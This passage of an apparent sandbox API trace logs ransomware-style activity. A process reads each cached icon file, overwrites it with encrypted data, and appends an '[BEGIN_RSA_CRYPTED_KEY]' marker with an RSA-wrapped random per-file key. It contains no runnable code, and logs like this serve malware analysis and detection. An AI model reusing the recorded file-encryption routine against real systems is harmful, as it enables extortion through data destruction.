(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{803254EC-E5AF-441F-BA9E-59FEA741AF56}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{803254ec-e5af-441f-ba9e-59fea741af56}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.007] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.007] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.008] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.008] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.009] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.009] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.009] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.009] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.009] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.009] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.009] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="dBG97qgp2WNZIMKTQC72tnTEUtPDLZYD4ldVhvuH1EaijKmrWwGrhjJxHIcG3zSE\nynmeMcB+5/BNk0hgaaY/ojYQyXUZ0turzLnrh9ENbefa9ZTN0sw+RoJvIJK1XfTQ\ndXVzw7mXmPjw2JAuarwRYvx8GnmlN49JbFLHTGhyErLqXBm4dKJh+D7Rl/UspLjG\nIDPBZFFVVh5fDJ1BWDZMhGtdkc2U2WxvMwizlh09o6zHeXsHzbi7eJwBhap8ePgr\nXap/jc65mWVdScLTY2x+EgYvsbR82veGEVy3lmaxIrYV2LFmB69ExnN2JjumpRYk\nT5uEYcZPLIn5vdligvTAqg==\n", pcchString=0x2e3f9a8) returned 1 [0247.009] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.009] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.009] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.010] CloseHandle (hObject=0x1afc) returned 1 [0247.011] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.011] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{7D365946-8370-4038-8364-1D85D2D69BF5}", dwFileAttributes=0x80) returned 1 [0247.012] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{7D365946-8370-4038-8364-1D85D2D69BF5}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{7d365946-8370-4038-8364-1d85d2d69bf5}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.012] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.012] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.152] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.152] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.152] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.152] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.152] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.152] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.152] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.153] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.153] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="aSJw5lvkY3vK2xDBPopi02foaEjwoR96PpSuN8TwfZnMkajUlKh0PyRvjA27bd6G\nAki9ojrxSp95+58qmMFwBYx2uOcw01Mzzdtt4PCB9WNpMX8oF43snjAG0xu/Zy46\ns2/8Hr8S7iL/xXcbpVXP9Wetlvcpra6y3o7218HFcwVXgQJV7jbBhOQH4rUshj1q\nqbRdidaAxyTfi7KmdwiegVStmALULiucEIJqvVGUU5mCepD/ftAf/PEt2IHqxjzZ\n/o3oMi2srssh/Wlt+BCrz/Qm1CPAFzpGCduGFXPeMMTL+4X3EzecWniISELxM52l\nRhSlGd2/s9zCppUHuMf0Ag==\n", pcchString=0x2e3f9a8) returned 1 [0247.153] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.153] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.153] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.154] CloseHandle (hObject=0x1afc) returned 1 [0247.185] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.185] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{7CE59AFD-BE4E-4C4F-9D9C-1BFDA6ACEA49}", dwFileAttributes=0x80) returned 1 [0247.186] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{7CE59AFD-BE4E-4C4F-9D9C-1BFDA6ACEA49}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{7ce59afd-be4e-4c4f-9d9c-1bfda6acea49}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.187] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.187] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.232] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.232] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.232] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.233] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.233] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.233] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.233] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.233] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.233] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="EGr57Qe4vDvxWKgVD5xemjyJmPBEvUPcj/F3aySMOozVyYlrgkPgUh8o/Unq5Y1s\nG3YuMuZ+tIJRGxLg747EsbVmfsScXsEm6rDlRKVSJ2pLBTZBv3UVYsDd3+KQ33S1\ndiedwFYYtzsdXm8AMdntJydDRE5BrgbCEkJk566FrVARjEzIJ9GDgSKyxwCT3LBm\nqy7wxqK+gdk2pYeU0ddYKXpbWwm+aR6euz7j9vUePlYgG5WRG71kARSJfsyQalHg\nlJDrp5QLANXtxQPFqPn62fWsbaQmXWcKlDS98DuWaNvGXZQBgYHP9lEh+0thnvlG\narA8RykEv1GUx9RRmUNBJg==\n", pcchString=0x2e3f9a8) returned 1 [0247.233] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.233] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.233] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.234] CloseHandle (hObject=0x1afc) returned 1 [0247.235] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.235] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{7C4BA71F-A1A6-490C-8B5D-04F319E94F47}", dwFileAttributes=0x80) returned 1 [0247.236] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{7C4BA71F-A1A6-490C-8B5D-04F319E94F47}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{7c4ba71f-a1a6-490c-8b5d-04f319e94f47}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.236] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.236] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.237] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.238] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.238] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.238] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.238] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.238] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.238] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.238] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.238] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="T7Q1iSBJFOXwd2yJmHkqdpYzYEcneHqo26YDx822d/vkdq9pAjuVEa9PhRk4XE+y\nfYu6VbQMHAEzBI3AH2mGQQGwJ0f9U1Fl9c2KTHoTiM2QiccVuCryCHPyphaCWQ1j\nQ25YrOOcNAlr9rOwBn3K9JLs+4yUMibJG/aTY7pABkrU6CcWCdvCshLIFI3zbI8w\nPkOyQDy05hOtUEQEUnTqZrAKhM4Utvqjk2RPvT9LVV98QEauDI3oBZrQZubcwvSx\nhFMvqgdnxNV4LrzPtVYPedwkwGqZJSt3iQE6wpXn2sR6jalgv7QoFo7ODJ+fD+nA\nQIa1UZvKIjYOT11vcU2xsA==\n", pcchString=0x2e3f9a8) returned 1 [0247.238] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.238] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.238] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.238] CloseHandle (hObject=0x1afc) returned 1 [0247.240] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.240] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{7991069C-F81C-4E00-9CF7-E4893986E7E3}", dwFileAttributes=0x80) returned 1 [0247.241] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{7991069C-F81C-4E00-9CF7-E4893986E7E3}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{7991069c-f81c-4e00-9cf7-e4893986e7e3}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.241] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.241] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.255] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.255] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.255] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.255] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.255] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.255] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.255] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.256] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.256] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="AnrdAuAwy1UOVSOjrSGq/Ep+O9zSmO67pk4moacWku+fAGEX99/tX5Brm+ET5LVQ\nu8b252nC25t721n4UAPIsrxWTCbGq4C/RSusctkh8GcmcyAfycrPUaBFsBEShaoV\nfKM9t4H6XTPcDm79Mjauo29U760GCYcYjPZCpWsDzFn7jOUiHuGlqSYwvZ3FYozD\nss7iuYyd1VQcl9czvUZnXwIst9k2FMLEyMvcE8iCnhOX05ATIGVU2UipkZBuu3kj\nB78g9V54iJK6dBzejXvjBsVgVYDSi84QtpiPBTQUe0qmVhP/R7jK6axlNlFQmJKP\n7w+pEHel51p6la0WO6eFhA==\n", pcchString=0x2e3f9a8) returned 1 [0247.256] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.256] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.256] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.256] CloseHandle (hObject=0x1afc) returned 1 [0247.268] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.268] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{7939D66A-9DE8-40A2-95E5-950A8ABC8F59}", dwFileAttributes=0x80) returned 1 [0247.269] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{7939D66A-9DE8-40A2-95E5-950A8ABC8F59}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{7939d66a-9de8-40a2-95e5-950a8abc8f59}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.269] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.269] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.271] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.271] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.271] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.271] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.271] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.271] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.271] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.271] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.271] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Rg+pFjwds9WRAVyPf0+YMEm53bsJpEo80xUg4kFsW2L9Yuf47LRHTaMSrfTb7kwz\nxawhQg0uNFOHkNnTsy4jk4TGWee/lepLTxmNPNq8k8zVRgMwkiikACRVUgGV2Fkr\nkEMcq9y/SqK9xgouIyjoXkxRGeuJnvG8Bd+nZlHBrjXPNDU5JMnblUNoVf7SGoha\n9hR77X2jsBG6XLslKhOo/sImCMQ5AaBX5U8xVjvWEd6nir1kkiQHoM/woIVFZhgn\nWhx0FcwBW/lO1vSqwZokZIVJkLYqkMlqR0fysIlDapUZnKKzWOeYKJlJes+dkk6p\nVgv6UgOvmJCsKlkii7pHig==\n", pcchString=0x2e3f9a8) returned 1 [0247.271] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.271] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.272] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, 